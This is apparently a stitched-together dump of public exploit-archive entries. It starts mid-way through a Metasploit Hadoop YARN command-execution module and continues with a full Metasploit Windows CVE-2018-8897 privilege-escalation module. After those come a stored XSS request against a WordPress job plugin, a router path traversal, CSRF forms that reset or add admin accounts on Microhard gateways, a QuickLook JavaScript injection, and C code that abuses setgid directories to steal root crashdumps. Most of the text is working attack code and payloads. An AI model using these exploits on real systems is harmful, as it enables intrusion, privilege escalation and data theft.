'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
'method' => 'POST'
)
rescue Rex::ConnectionError
vprint_error("#{peer} - Connection failed")
return CheckCode::Unknown
end
if res && res.code == 200 && res.body.include?('application-id')
return CheckCode::Detected
end
CheckCode::Safe
end
def exploit
print_status('Sending Command')
execute_cmdstager
end
def execute_command(cmd, opts = {})
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
'method' => 'POST'
)
app_id = res.get_json_document['application-id']
post = {
'application-id' => app_id,
'application-name' => Rex::Text.rand_text_alpha_lower(4..12),
'application-type' => 'YARN',
'am-container-spec' => {
'commands' => {'command' => cmd.to_s}
}
}
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => post.to_json
)
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
'Description' => %q{
This module exploits a vulnerability in a statement in the system programming guide
of the Intel 64 and IA-32 architectures software developer's manual being mishandled
in various operating system kerneles, resulting in unexpected behavior for #DB
excpetions that are deferred by MOV SS or POP SS.
This module will upload the pre-compiled exploit and use it to execute the final
payload in order to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nick Peterson', # Original discovery (@nickeverdox)
'Nemanja Mulasmajic', # Original discovery (@0xNemi)
'Can Bölük <can1357>', # PoC
'bwatters-r7' # msf module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 08 2018',
'References' =>
[
['CVE', '2018-8897'],
['EDB', '44697'],
['BID', '104071'],
['URL', 'https://github.com/can1357/CVE-2018-8897/'],
['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'False'
}
))
register_options([
OptString.new('EXPLOIT_NAME',
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('PATH',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
OptInt.new('EXECUTE_DELAY',
[false, 'The number of seconds to delay before executing the exploit', 3])
])
end
def setup
super
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
@payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
@payload_path = "#{temp_path}\\#{payload_name}"
@exploit_path = "#{temp_path}\\#{exploit_name}"
@payload_exe = generate_payload_exe
end
def validate_active_host
begin
host = session.session_host
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def validate_remote_path(path)
unless directory?(path)
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
end
end
def validate_target
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if sysinfo['OS'] =~ /XP/
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end
end
def ensure_clean_destination(path)
if file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error("Unable to delete #{path}")
end
end
end
def ensure_clean_exploit_destination
ensure_clean_destination(exploit_path)
end
def ensure_clean_payload_destination
ensure_clean_destination(payload_path)
end
def upload_exploit
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe')
upload_file(exploit_path, local_exploit_path)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
end
def upload_payload
write_file(payload_path, payload_exe)
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
end
def execute_exploit
sleep(datastore['EXECUTE_DELAY'])
print_status("Running exploit #{exploit_path} with payload #{payload_path}")
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
vprint_status(output)
end
def exploit
begin
validate_active_host
validate_target
validate_remote_path(temp_path)
ensure_clean_exploit_destination
ensure_clean_payload_destination
upload_exploit
upload_payload
execute_exploit
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error(e.message)
ensure_clean_exploit_destination
ensure_clean_payload_destination
end
end
attr_reader :exploit_name
attr_reader :payload_name
attr_reader :payload_exe
attr_reader :temp_path
attr_reader :payload_path
attr_reader :exploit_path
end
# Exploit Title: Wordpress Plugin Job Manager v4.1.0 Stored Cross Site
Scripting
# Google Dork: N/A
# Date: 2018-07-15
# Exploit Author: Berk Dusunur & Selimcan Ozdemir
# Vendor Homepage: https://wpjobmanager.com
# Software Link: https://downloads.wordpress.org/plugin/wp-job-manager.latest-stable.zip
# Affected Version: v4.1.0
# Tested on: Parrot OS / WinApp Server
# CVE : N/A
# Proof Of Concept
POST
/post-a-job/?step=%00foymtv%22%20method=%22post%22%20id=%22submit-job-form%22%20class=%22job-manager-form%22%20enctype=%22multipart/form-data%22%3E%3Cscript%3Ealert(%271%27)%3C/script%3E%3Cform%20action=%22/post-a-job/?step=%00foymtv
HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101
Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
https://target/post-a-job/?step=%00foymtv22%20method=%22post%22%20id=%22submit-job-form%22%20class=%22job-manager-form%22%20enctype=%22multipart/form-data%22%3E%3Cscript%3Ealert(%271%27)%3C/script%3E%3Cform%20action=%22/post-a-job/?step=%00foymtv
Content-Type: multipart/form-data;
boundary=---------------------------3756777582569023921817540904
Content-Length: 2379
Cookie: wp-job-manager-submitting-job-id=88664;
wp-job-manager-submitting-job-key=5ae8875580aff
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_title"
teertert</p></body><script>alert('1')</script>
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_description"
test</p></div></div><form input=""><p></p><script>alert('1')</script><a
href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_region"
184
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_type"
2
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="application"
www.google.com
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_location"
Adelaide, Australia
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_name"
teertert</p></body><script>alert('1')</script>
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_tagline"
teertert</p></body><script>alert('1')</script>
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_website"
www.google.com
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_logo"; filename=""
Content-Type: application/octet-stream
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_poster_name"
teertert</p></body><script>alert('1')</script>
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_poster_email"
xssiletarihyazilmaz@gmail.com
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_manager_form"
submit-job
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_id"
0
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="step"
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="submit_job"
Preview
-----------------------------3756777582569023921817540904--
Title: Vulnerability in VelotiSmart Wifi - Directory Traversal
Date: 12-07-2018
Scope: Directory Traversal
Platforms: Unix
Author: Miguel Mendez Z
Vendor: VelotiSmart
Version: B380
CVE: CVE-2018–14064
Vulnerability description
-------------------------
- The vulnerability that affects the device is LFI type in the uc-http service 1.0.0. What allows to obtain information of configurations, wireless scanned networks, sensitive directories, etc. Of the device.
Vulnerable variable:
http://domain:80/../../etc/passwd
Exploit link:
https://github.com/s1kr10s/ExploitVelotiSmart
Poc:
https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway CSRF Vulnerabilities
Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
IPn3Gb 2.2.0 build 2160
IPn4Gb 1.1.6 build 1184-14
IPn4Gb 1.1.0 Rev 2 build 1090-2
IPn4Gb 1.1.0 Rev 2 build 1086
Bullet-3G 1.2.0 Rev A build 1032
VIP4Gb 1.1.6 build 1204
VIP4G 1.1.6 Rev 3.0 build 1184-14
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
IPn3Gii / Bullet-3G 1.2.0 build 1076
IPn4Gii / Bullet-LTE 1.2.0 build 1078
BulletPlus 1.3.0 build 1036
Dragon-LTE 1.1.0 build 1036
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.
The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.
Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.
Tested on: httpd-ssl-1.0.0
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5478
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5478.php
13.03.2018
--
CSRF Change Admin password:
---------------------------
<html>
<body>
<form action="http://192.168.1.1/cgi-bin/webif/system-acl.sh" method="POST" enctype="multipart/form-data">
<input type="hidden" name="submit" value="1" />
<input type="hidden" name="pw1" value="nimda" />
<input type="hidden" name="pw2" value="nimda" />
<input type="hidden" name="passwdchange" value=" Change Passwd " />
<input type="hidden" name="user_add" value="" />
<input type="hidden" name="password_add" value="" />
<input type="hidden" name="password2_add" value="" />
<input type="hidden" name="Carrier_enable" value="0" />
<input type="hidden" name="Carrier_Status" value="0" />
<input type="hidden" name="Carrier_Settings" value="0" />
<input type="hidden" name="Carrier_Keepalive" value="0" />
<input type="hidden" name="Carrier_TrafficWatchdog" value="0" />
<input type="hidden" name="Carrier_DynamicDNS" value="0" />
<input type="hidden" name="Carrier_SMSConfig" value="0" />
<input type="hidden" name="Carrier_SMS" value="0" />
<input type="hidden" name="Carrier_DataUsage" value="0" />
<input type="hidden" name="Comport_enable" value="0" />
<input type="hidden" name="Comport_Status" value="0" />
<input type="hidden" name="Comport_Com0" value="0" />
<input type="hidden" name="Comport_Com1" value="0" />
<input type="hidden" name="Firewall_enable" value="0" />
<input type="hidden" name="Firewall_Status" value="0" />
<input type="hidden" name="Firewall_General" value="0" />
<input type="hidden" name="Firewall_Rules" value="0" />
<input type="hidden" name="Firewall_PortForwarding" value="0" />
<input type="hidden" name="Firewall_MACIPList" value="0" />
<input type="hidden" name="Firewall_Reset" value="0" />
<input type="hidden" name="GPS_enable" value="0" />
<input type="hidden" name="GPS_Location" value="0" />
<input type="hidden" name="GPS_Settings" value="0" />
<input type="hidden" name="GPS_Report" value="0" />
<input type="hidden" name="GPS_GpsGate" value="0" />
<input type="hidden" name="GPS_Recorder" value="0" />
<input type="hidden" name="GPS_LoadRecord" value="0" />
<input type="hidden" name="I/O_enable" value="0" />
<input type="hidden" name="I/O_Status" value="0" />
<input type="hidden" name="I/O_OUTPUT" value="0" />
<input type="hidden" name="Network_enable" value="0" />
<input type="hidden" name="Network_Status" value="0" />
<input type="hidden" name="Network_LAN" value="0" />
<input type="hidden" name="Network_Routes" value="0" />
<input type="hidden" name="Network_GRE" value="0" />
<input type="hidden" name="Network_PIMSM" value="0" />
<input type="hidden" name="Network_SNMP" value="0" />
<input type="hidden" name="Network_sdpServer" value="0" />
<input type="hidden" name="Network_LocalMonitor" value="0" />
<input type="hidden" name="Network_Port" value="0" />
<input type="hidden" name="System_enable" value="0" />
<input type="hidden" name="System_Settings" value="0" />
<input type="hidden" name="System_AccessControl" value="0" />
<input type="hidden" name="System_Services" value="0" />
<input type="hidden" name="System_Maintenance" value="0" />
<input type="hidden" name="System_Reboot" value="0" />
<input type="hidden" name="Tools_enable" value="0" />
<input type="hidden" name="Tools_Discovery" value="0" />
<input type="hidden" name="Tools_NetflowReport" value="0" />
<input type="hidden" name="Tools_NMSSettings" value="0" />
<input type="hidden" name="Tools_EventReport" value="0" />
<input type="hidden" name="Tools_Modbus" value="0" />
<input type="hidden" name="Tools_Websocket" value="0" />
<input type="hidden" name="Tools_SiteSurvey" value="0" />
<input type="hidden" name="Tools_Ping" value="0" />
<input type="hidden" name="Tools_TraceRoute" value="0" />
<input type="hidden" name="Tools_NetworkTraffic" value="0" />
<input type="hidden" name="VPN_enable" value="0" />
<input type="hidden" name="VPN_Summary" value="0" />
<input type="hidden" name="VPN_GatewayToGateway" value="0" />
<input type="hidden" name="VPN_ClientToGateway" value="0" />
<input type="hidden" name="VPN_VPNClientAccess" value="0" />
<input type="hidden" name="VPN_CertificateManagement" value="0" />
<input type="hidden" name="VPN_CiscoEasyVPNClient" value="0" />
<input type="submit" value="Change" />
</form>
</body>
</html>
CSRF Add Admin:
---------------
<html>
<body>
<form action="http://192.168.1.1/cgi-bin/webif/system-acl.sh" method="POST" enctype="multipart/form-data">
<input type="hidden" name="submit" value="1" />
<input type="hidden" name="pw1" value="" />
<input type="hidden" name="pw2" value="" />
<input type="hidden" name="user_add" value="testingus" />
<input type="hidden" name="password_add" value="123456" />
<input type="hidden" name="password2_add" value="123456" />
<input type="hidden" name="Carrier_enable" value="1" />
<input type="hidden" name="Carrier_Status" value="1" />
<input type="hidden" name="Carrier_Settings" value="1" />
<input type="hidden" name="Carrier_Keepalive" value="1" />
<input type="hidden" name="Carrier_TrafficWatchdog" value="1" />
<input type="hidden" name="Carrier_DynamicDNS" value="1" />
<input type="hidden" name="Carrier_SMSConfig" value="1" />
<input type="hidden" name="Carrier_SMS" value="1" />
<input type="hidden" name="Carrier_DataUsage" value="1" />
<input type="hidden" name="Comport_enable" value="1" />
<input type="hidden" name="Comport_Status" value="1" />
<input type="hidden" name="Comport_Com0" value="1" />
<input type="hidden" name="Comport_Com1" value="1" />
<input type="hidden" name="Firewall_enable" value="1" />
<input type="hidden" name="Firewall_Status" value="1" />
<input type="hidden" name="Firewall_General" value="1" />
<input type="hidden" name="Firewall_Rules" value="1" />
<input type="hidden" name="Firewall_PortForwarding" value="1" />
<input type="hidden" name="Firewall_MACIPList" value="1" />
<input type="hidden" name="Firewall_Reset" value="1" />
<input type="hidden" name="GPS_enable" value="1" />
<input type="hidden" name="GPS_Location" value="1" />
<input type="hidden" name="GPS_Settings" value="1" />
<input type="hidden" name="GPS_Report" value="1" />
<input type="hidden" name="GPS_GpsGate" value="1" />
<input type="hidden" name="GPS_Recorder" value="1" />
<input type="hidden" name="GPS_LoadRecord" value="1" />
<input type="hidden" name="I/O_enable" value="1" />
<input type="hidden" name="I/O_Status" value="1" />
<input type="hidden" name="I/O_OUTPUT" value="1" />
<input type="hidden" name="Network_enable" value="1" />
<input type="hidden" name="Network_Status" value="1" />
<input type="hidden" name="Network_LAN" value="1" />
<input type="hidden" name="Network_Routes" value="1" />
<input type="hidden" name="Network_GRE" value="1" />
<input type="hidden" name="Network_PIMSM" value="1" />
<input type="hidden" name="Network_SNMP" value="1" />
<input type="hidden" name="Network_sdpServer" value="1" />
<input type="hidden" name="Network_LocalMonitor" value="1" />
<input type="hidden" name="Network_Port" value="1" />
<input type="hidden" name="System_enable" value="1" />
<input type="hidden" name="System_Settings" value="1" />
<input type="hidden" name="System_AccessControl" value="1" />
<input type="hidden" name="System_Services" value="1" />
<input type="hidden" name="System_Maintenance" value="1" />
<input type="hidden" name="System_Reboot" value="1" />
<input type="hidden" name="Tools_enable" value="1" />
<input type="hidden" name="Tools_Discovery" value="1" />
<input type="hidden" name="Tools_NetflowReport" value="1" />
<input type="hidden" name="Tools_NMSSettings" value="1" />
<input type="hidden" name="Tools_EventReport" value="1" />
<input type="hidden" name="Tools_Modbus" value="1" />
<input type="hidden" name="Tools_Websocket" value="1" />
<input type="hidden" name="Tools_SiteSurvey" value="1" />
<input type="hidden" name="Tools_Ping" value="1" />
<input type="hidden" name="Tools_TraceRoute" value="1" />
<input type="hidden" name="Tools_NetworkTraffic" value="1" />
<input type="hidden" name="VPN_enable" value="1" />
<input type="hidden" name="VPN_Summary" value="1" />
<input type="hidden" name="VPN_GatewayToGateway" value="1" />
<input type="hidden" name="VPN_ClientToGateway" value="1" />
<input type="hidden" name="VPN_VPNClientAccess" value="1" />
<input type="hidden" name="VPN_CertificateManagement" value="1" />
<input type="hidden" name="VPN_CiscoEasyVPNClient" value="1" />
<input type="hidden" name="mhadd_user" value="Add User" />
<input type="submit" value="Request" />
</form>
</body>
</html>
QuickLook is a widely used feature in macOS/iOS which allows you to preview various formats such as pdf, docx, pptx, etc. The way it uses to show office files is quite interesting. First it parses the office file and converts it to HTML code using OfficeImport and renders it using WebKit. The problem is, it doesn't filter the names of fonts when generating HTML code from them. We can abuse it to inject arbitrary JavaScript code. Namely, we can execute arbitrary JavaScript code via an office file.
OfficeImport is located at /System/Library/PrivateFrameworks/OfficeImport.framework/Versions/A/OfficeImport.
I attached a PoC that will just print out "location.href". You can test it by "Right click -> Quick Look" on macOS or just opening the PoC file on iOS.
Here's the document.xml file of the PoC file where I injected JavaScript code.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture" xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:lc="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas" xmlns:dgm="http://schemas.openxmlformats.org/drawingml/2006/diagram" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml"><w:body><w:p w:rsidR="00000000" w:rsidDel="00000000" w:rsidP="00000000" w:rsidRDefault="00000000" w:rsidRPr="00000000" w14:paraId="00000000"><w:pPr><w:contextualSpacing w:val="0"/><w:jc w:val="center"/><w:rPr><w:rFonts w:ascii="Trebuchet MS" w:cs="Trebuchet MS" w:eastAsia="Trebuchet MS" w:hAnsi="Trebuchet MS"/></w:rPr></w:pPr><w:r w:rsidDel="00000000" w:rsidR="00000000" w:rsidRPr="00000000"><w:rPr><w:rtl w:val="0"/></w:rPr><w:t xml:space="preserve">asdfasdfasdfasdfs</w:t></w:r><w:r w:rsidDel="00000000" w:rsidR="00000000" w:rsidRPr="00000000"><w:rPr><w:rFonts w:ascii="Trebuchet MS'</style><script>
document.write(location.href);
</script>" w:cs="Trebuchet MS" w:eastAsia="Trebuchet MS" w:hAnsi="Trebuchet MS"/><w:rtl w:val="0"/></w:rPr><w:t xml:space="preserve">asdfadfasadfas</w:t></w:r></w:p><w:sectPr><w:pgSz w:h="15840" w:w="12240"/><w:pgMar w:bottom="1440" w:top="1440" w:left="1440" w:right="1440" w:header="0"/><w:pgNumType w:start="1"/></w:sectPr></w:body></w:document>
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45032.zip
/*
Note: I am both sending this bug report to security@kernel.org and filing it in
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
or as a Ubuntu bug. You may wish to talk to each other to determine the best
place to fix this.
I noticed halfdog's old writeup at
https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
, describing essentially the following behavior in combination with a
trick for then writing to the resulting file without triggering the
killpriv logic:
=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat > demo.c
#include <fcntl.h>
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
user@debian:~/sgid_demo$ gcc -o demo demo.c
user@debian:~/sgid_demo$ ./demo
user@debian:~/sgid_demo$ ls -l dir/file
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
=============
Two patches for this were proposed on LKML back then:
"[PATCH 1/2] fs: Check f_cred instead of current's creds in
should_remove_suid()"
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/
"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory"
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/
However, as far as I can tell, neither of them actually landed.
You can also bypass the killpriv logic with fallocate() and mmap() -
fallocate() permits resizing the file without triggering killpriv,
mmap() permits writing without triggering killpriv (the mmap part is mentioned
at
https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/
):
=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat fallocate.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, &src_stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");
int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap");
memcpy(mapping, src_mapping, src_len);
munmap(mapping, src_len);
close(fd);
close(src_fd);
execl("./dir/file", "id", NULL);
err(1, "execl");
}
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
user@debian:~/sgid_demo$ ./fallocate
uid=1000(user) gid=1000(user) egid=0(root)
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
=============
sys_copy_file_range() also looks as if it bypasses killpriv on
supported filesystems, but I haven't tested that one so far.
On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
contains group-readable crashdumps in some custom format, so you can use this
issue to steal other users' crashdumps:
=============
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 296
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
cat: /var/crash/_usr_bin_id.0.crash: Permission denied
user@ubuntu-18-04-vm:~$ cat fallocate.c
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv) {
if (argc != 2) {
printf("usage: ./fallocate <file_to_read>");
return 1;
}
int src_fd = open("/bin/cat", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, &src_stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");
unlink("/var/crash/privileged_cat"); /* in case we've already run before */
int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap");
memcpy(mapping, src_mapping, src_len);
munmap(mapping, src_len);
close(fd);
execl("/var/crash/privileged_cat", "cat", argv[1], NULL);
err(1, "execl");
}
/*
user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c
user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 384
-rwxr-sr-x 1 user whoopsie 35064 Jul 3 19:22 privileged_cat
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r--r-- 1 user whoopsie 50706 Jul 3 19:22 _usr_bin_id.0.crash.stolen
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked
user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack
user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/
user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump
root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'
*/
